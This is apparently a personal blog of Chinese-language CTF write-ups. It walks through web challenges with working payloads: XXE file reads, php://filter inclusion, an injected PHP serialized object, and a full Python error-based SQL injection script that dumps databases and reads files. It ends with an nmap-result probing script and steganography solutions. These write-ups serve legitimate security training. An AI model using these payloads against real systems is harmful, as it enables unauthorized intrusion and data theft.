Rock's blog

兴趣是最好的老师

0%

[BSidesCF 2019]SVGMagic

只有一个上传图像的点,查看源码也无异常信息

查阅资料得知svg是一段由html标签语言描述的矢量图形,ctf中由svg可能引发的漏洞有xss,XXE。

上传以下payload即可

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

[N1CTF 2018]eating_cms

1.首先注意到框架Copyright © 2017.Powered by Albertchang

2.梳理应用功能

  • 登录
    • 尝试使用admin\admin登录发现返回了sql查询语句
1
select * from `albert_users` where `username_which_you_do_not_know`= 'admin' and `password_which_you_do_not_know_too` = '21232f297a57a5a743894a0e4a801fc3'

首先想到sql注入

发现输入'会被转义,输入"会提示no hacking,如果是sql注入的话需要fuzz一下哪些字符可用,哪些字符被waf拦截。

同时扫描目录

发现/.viminfo,看看是否存在源码泄露

1
2
3
vim updateadmin.php
vim info.php
vim login.php

查看是否存在这三个文件

访问/updateadmin.phpinfo.php,提示you can not visit it directly.

还发现有/register.php,可见可以注册用户。

注册并登录后发现一个博客页面,再试试上面的/updateadmin.phpinfo.php,还是不行

先尝试注入

发现拦截了!#$%^||&\;:".~/?/**/,转义了'.通过单引号闭合不可能了,堆叠注入也不可能,宽字节注入也未成功。既然题目提示和cms有关,再看一下框架。

在登录成功后页面会先访问/user.php?page=info再302跳转到/user.php?page=guest

/user.php?page=info中提示<!--hint: ffffllllaaaaggg.php-->,直接访问也会提示you can not visit it directly.

看来需要使用特殊身份访问。

/user.php?page=经测试发现文件包含。

直接访问/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg会被hacker.php拦截。获取源码来绕过。

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script

index.php

1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["d"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}

?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}

?

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}

?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?

hacker.php

1
2
3
<?php
include("templates/hacker.html");
?>

updateadmin.php

1
2
3
4
5
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/update.html";

info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/info.html";
?>

经过思考感觉从sql注入是无法入手的,看了一下wp,发现是parse_url()的问题。

https://www.dazhuanlan.com/vickycheng823/topics/1089651

构造

1
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}

构造

1
/user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee

m4aaannngggeee.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";

转而直接访问m4aaannngggeee.php

image-20220217191148313

看来是个模板测试页面,尝试上传文件

发现跳转至upllloadddd.php,并输出了上传文件的base64编码

image-20220217191421686

看看upllloadddd.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

发现程序是调用system()来执行shell获取base64编码的,且未对filename进行过滤,此处存在命令执行。

image-20220217195402846

[HarekazeCTF2019]Avatar Uploader 1

梳理程序功能

  • 登录功能(无验证)
    • 登录后可上传头像
    • 保存在/uploads文件夹下
  • 更换主题
    • 访问的是theme.php

其他注意点

  • cookie是jwt格式

扫描一下目录并尝试文件上传

都试了一下,看来是不行

看一眼wp发现此题要看题目给出的源码

https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/tree/master/avatar_uploader_1/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

upload.php中的finfo_file()getimagesize()分别对传入的图像进行验证。

finfo_file()只会通过图像前几个字节判断文件类型,getimagesize()还会读取文件宽高属性

1
2
3
4
5
6
7
8
9
10
Array
(
[0] => 961
[1] => 640
[2] => 2
[3] => width="961" height="640"
[bits] => 8
[channels] => 3
[mime] => image/jpeg
)

所以需要删去上传的png图像的宽高数据,只保留前几个字节即可

image-20220216203025802

image-20220216203047619

[安洵杯 2019]不是文件上传

首先看到梳理应用逻辑

  • 有上传文件入口
  • 可以查看文件上传的结果 show.php
  • 可以删除所有上传的文件
  • show.php 提示只能保存文件名和路径

image-20220214214947433

查看图片功能尚未完成,目前只能保存您图片名称的内容。 我希望你能原谅我和我的同事,我正在努力改进。

想尝试找出文件实际保存位置,没找到,再扫一下目录吧

同时尝试上传其他类型文件,发现好像只能上传图像类文件

目录扫描出config.txt

内容只有<h1>This is foot<h2>

结合题目,问题应该不是在文件上传处,再找找

看wp,发现需要找一下系统的源码

image-20220214221649356

在github上搜索wowouploadimage

分析源码

  • index.html是首页
  • upload.php负责上传文件,其引用了helper.php
  • show.php负责查询数据库来显示上传结果,也引用了helper.php
  • helper.php负责将关于图像的属性信息插入数据库的images表

通读代码首先注意到helper.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
// var_dump($my_ext);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

存在$array["attr"] = serialize($my_ext);序列化

但此处的$array["attr"]为从图像中读取的宽高信息,无法控制。

show.php中对存入数据库的字段进行了读取并反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

关键点在于helper.php中的check(),其没有对sql注入进行防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function check($info)
{
// 新文件名由MD5生成
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
// 白名单检查文件后缀
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
// 返回文件信息数组
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

返回数组中的元素在后面的函数中被拼接并插入数据库

其中filename是MD5值,ext是文件后缀,path是/pic/下的MD5文件名,title是去掉了文件后缀的文件名

只有title是用户直接可控的,且程序在此处未作过滤,后面又将该字段拼接sql语句,存在注入。

结合注入,在反序列化时可传入helper对象,利用helper对象的析构函数实现文件读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}

首先定义一个用于传入的helper对象

1
2
3
4
5
6
7
8
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
print(hex)
?>
//0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

对文件名进行注入

image-20220215200738681

插入的sql语句相当于

1
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#','30a5611102e7e6d2.png','png','pic/30a5611102e7e6d2.png','a:2:{s:5:"width";i:32;s:6:"height";i:32;}')

image-20220215200853905

[CSAWQual 2019]Web_Unagi

首先梳理程序功能逻辑

  • 主页
  • 用户信息
  • 文件上传
  • flag位置提示

首先想到考察文件上传

image-20220213153150639

程序要求上传符合要求的xml文件,然后解析成用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version='1.0'?>
<users>
<user>
<username>test</username>
<password>test</password>
<name>test</name>
<email>test@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

image-20220213153934807

此时判断可能不是文件上传,大概率是XXE

https://www.cnblogs.com/backlion/p/9302528.html

尝试通过外部实体声明读取/flag

直接插入提示被WAF拦截

1
2
3
<!DOCTYPE test [
<!ENTITY b SYSTEM "file:///flag">
]>

尝试多次,感觉像是禁用了ENTITY,看看有没有源码

扫描了一下没有发现

再尝试文件上传

也没成功

查看wp https://blog.csdn.net/mochu7777777/article/details/105337784

可以通过utf-16编码绕过WAF

1
iconv -f utf8 -t utf16 1.xml>2.xml

image-20220213162817547

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目链接:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk

1. 查看网页源码

发现存在注释

故尝试文件包含,得到源码

index.php

//这里只把php代码贴出
<?php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

confirm.php

<?php
require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

search.php

<?php
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

change.php

<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

2. 分析后台逻辑

可以看到后台对于插入、查找、修改、删除数据时提交的字段做了sql关键词的过滤,但唯独对于插入address字段时没有过滤

可以考虑通过数据污染的方式进行二次注入

即通过插入特殊构造的address,使之在查询或修改此字段时触发非预期sql语句执行

通过分析可以看出当插入恶意address后,当更新订单时会引发sql注入

插入地址为

',user_name=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))#

修改地址

出现报错

2. 开始注入

为了练习所以写了一个脚本,实际做题时不需要这么麻烦。

import requests
import random

baseUrl = "http://62226166-69f7-4a95-afca-4be78816f7f0.node3.buuoj.cn/"
tmp = str(random.randint(0,0xffffffff))

# 提交订单
def put_order(name, phone, address):
    url = baseUrl + "confirm.php"
    req = requests.post(url, data={"user_name":name, "phone": phone, "address": address})
    if "订单提交成功" in req.text:
        return True
    else:
        print("put_order Error!")
        return False

# 删除订单
def delete_order(name, phone):
    url = baseUrl + "delete.php"
    req = requests.post(url, data={"user_name":name, "phone":phone})
    if "订单删除成功" in req.text:
        return True
    else:
        print("Delete Error!")
        return False
    
# 修改订单
def change_order(name, phone, address):
    url = baseUrl + "change.php"
    req = requests.post(url, data={"user_name":name, "phone":phone, "address":address})
    if "errorXPATH syntax error:" in req.text:
        return req.text.split('~')[1]
    else:
        # print("change_order Error!")
        return "None"

# 报错注入获取数据库名
def get_database_name():
    start = 1
    length = 30
    database_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp) == "None"
        res = ("" if res == "None" else res)
        database_name += res
        start += length
        # print(database_name)
        delete_order(tmp, tmp)
        if len(res) != 30:
            return database_name.split(',')

# 报错注入获取表名
def get_table_name(database_name):
    start = 1
    length = 30
    table_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='"+ database_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        table_name += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return table_name.split(',')

# 报错注入获取列名
def get_columns(table_name):
    start = 1
    length = 30
    column_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='"+ table_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        column_name += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return column_name.split(',')

# 报错注入获取列中所有值
def get_value(database_name, table_name, column_name):
    start = 1
    length = 30
    value = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat("+ column_name +") from "+ database_name +"."+ table_name +"),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        value += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return value.split(',')

# 报错注入读取文件
def get_file(file):
    start = 1
    length = 30
    text = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr(load_file('"+ file +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        text += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return text



if __name__=="__main__":
    # information_schema
    # ctftraining
    # mysql
    # performance_schema
    # test
    # ctfusers
    # database = "ctftraining"
    # for table in get_table_name(database):
    # 	for column in get_columns(table):
    # 		print(database +"."+ table +"."+ column +":", end='')
    # 		print(get_value(database, table, column))
    print(get_file("/flag.txt"))

[MRCTF2020]套娃

题目链接:[MRCTF2020]套娃

1.查看网页源码

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

给出了php源码

第一个if考察$_SERVER['QUERY_STRING']获取的是未经url解码的查询字符串,因此将_url编码后可绕过。(url编码大小写不敏感)

第二个if考察preg_match()只能匹配单行字符串,会将换行符后的字符串忽略。

?b%5Fu%5Fp%5Ft=23333%0a

2.secrettw.php

查看网页源码,发现jsfuck编码字符串,输入浏览器执行。提示尝试POST方式提交Merak参数

返回部分源码

<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
    highlight_file(__FILE__);
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

猜测getIp()可能通过X-Forwarder-Forclient-ip头可以绕过。

在请求头部添加
X-Forwarder-For: 127.0.0.1
client-ip: 127.0.0.1

file_get_contents($_GET['2333']) === 'todat is a happy day' )可由data:\\伪协议绕过

secrettw.php?2333=data://text/plain,todat+is+a+happy+day
空格需要url编码

change()函数将传入的字符串进行base64解码然后进行简单加密。

我们需要传入flag.php故需要先将flag.php逐字符进行加密,然后进行base64编码。

python解码脚本

import base64

cstr = "flag.php"
tmp = ""
for i in range(len(cstr)):
    ch = chr(ord(cstr[i])- i*2)
    tmp += ch
print(base64.b64encode(tmp.encode()))

最终请求参数:

http://6ad8a2e0-f0f7-49c9-8087-ac1021dbe1a2.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D

以下脚本实现了对于nmap端口扫描以-oN保存的扫描结果进行自动web连接尝试的功能。

  • 会自动过滤掉开放超过800个端口以上的ip(可能为蜜罐,或是防火墙设置了特殊的响应规则)

  • 连接超时时间设置为5秒

  • 对同一个端口同时尝试http和https连接

    import requests

    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

    fileList = [“result1.log”, “result2.log”]
    basePath = “/root/Downloads/“

    ipInfoList = []
    ipCount = 0
    portCount = 0

    for f in fileList:
    fObj = open(basePath+f, “r”)
    text = fObj.read()
    fObj.close()
    ipInfoList = text.split(“Nmap scan report for “)[1:]
    if len(ipInfoList) != 0:
    ipInfoList[len(ipInfoList)-1] = ipInfoList[len(ipInfoList)-1].split(“# Nmap done at “)[0]

    for info in ipInfoList:
    # print(“has requested %d ip %d port” % (ipCount, portCount), end=”\r”)
    ipCount += 1
    ip = info.split(“Host is up “)[0].strip()
    ports = info.split(“SERVICE”)[1].strip()
    portList = ports.split(‘\n’)
    if len(portList) < 800:
    for p in portList:
    if p.find(“open”) != -1:
    portCount += 1
    port = p.split(“/“)[0]
    print(“Connecting %15s:%-5s\tHas tried %d ip %d port.” % (ip, port, ipCount, portCount), end=”\r”)
    try:
    req = requests.get(“http://“+ ip + “:” + port, timeout=5)
    print(“\n”+ ip+”:”+ port)
    except:
    try:
    req = requests.get(“https://“+ ip + “:” + port, verify=False , timeout=5)
    print(“\n”+ ip+”:”+ port)
    except Exception as e:
    print(end=’’)
    # print(e)
    # finally:
    # print(“has requested %d ip %d port” % (ipCount, portCount), end=”\r”)

1.low

通过python提取图像的最低有效位组合成图像,发现是二维码。

from PIL import Image

img = Image.open("/root/Downloads/low.bmp")
lsbImg = img.copy()
pix = lsbImg.load()

width = img.width
height = img.height

for w in range(width):
    for h in range(height):
        if pix[w,h] & 0x01 == 1:
            pix[w, h] = 0
        else:
            pix[w, h] = 255
lsbImg.save("/root/Downloads/_low.bmp")

2.信号不好先挂了

使用zsteg检测图像,发现存在lsb隐写。使用Stegsolve提取隐藏的压缩文件,解压出一张同样的png图像pen.png
之后思路中断,查找答案后得知可以从盲水印方向考虑。
使用BlindWaterMark提取盲水印
./bwm.py decode apple.png pen.png applepen.png

3.Ditf

打开图像发现报CRC32校验错误,判断图像人为修改过高度。
尝试使用脚本爆破正确高度,未果。

import binascii, struct

fObj = open("/root/Downloads/e02c9de40be145dba6baa80ef1d270ba.png", "rb")
png = fObj.read()
fObj.close()
crcOri =int.from_bytes(png[0x1D:0x20],byteorder='big',signed=False)
nowHeight = int.from_bytes(png[0x10:0x14],byteorder='big',signed=False)
maxHeight = 4096

for h in range(nowHeight, maxHeight):
    data = png[0xC:0x14] + struct.pack(">i",h) + png[0x18:0x1D]
    crcNew = binascii.crc32(data)
    if crcNew == crcOri:
        print(h)
        break

尝试使用tweakpng手动修改高度,成功看到隐藏信息。

使用binwalk检测图像,发现隐藏rar文件,使用foremost提取。猜测密码即为隐藏信息。成功解压。
解压后分析流量,导出http对象,找到可疑字符串。
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <img src="/kiss.png" /> ZmxhZ3tPel80bmRfSGlyMF9sb3YzX0ZvcjN2ZXJ9 </body> </html>
base64解码,得到flag。

4.签到题

base64->栅栏->凯撒

5.Excaliflag

Stegsolve查看蓝色通道

6.Avatar

使用outguess提取图像中的隐藏信息。
https://github.com/resurrecting-open-source-projects/outguess.git

outguess -r 035bfaa85410429495786d8ea6ecd296.jpg -t hi.txt

7.Miscellaneous-200

初步判断txt文件内为61366行RGB像素值,编写脚本判断图像长宽并绘制图像。

from PIL import Image

